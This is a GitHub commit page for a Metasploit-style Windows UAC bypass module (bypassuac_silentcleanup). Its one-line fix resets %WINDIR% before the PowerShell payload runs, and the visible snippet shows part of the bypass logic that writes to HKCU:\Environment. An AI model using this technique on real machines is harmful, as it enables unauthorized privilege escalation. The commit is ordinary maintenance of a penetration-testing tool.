Skip to content

Commit

Permalink
bypassuac_silentcleanup: cleanup %WINDIR% env var before calling powe…
Browse files Browse the repository at this point in the history
…rshell payload

Fixes #12665
  • Loading branch information
cnotin committed Dec 5, 2019
1 parent 104710c commit 2931863
Showing 1 changed file with 1 addition and 0 deletions.
1 change: 1 addition & 0 deletions modules/exploits/windows/local/bypassuac_silentcleanup.rb
Original file line number Diff line number Diff line change
Expand Up @@ -50,6 +50,7 @@ def initialize(info = {})
def get_bypass_script(cmd)
scr = %Q{
if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) {
$env:windir = [System.Environment]::GetEnvironmentVariable("windir", "machine")
#{cmd}
} else {
$registryPath = "HKCU:\\Environment"
Expand Down

0 comments on commit 2931863

Please sign in to comment.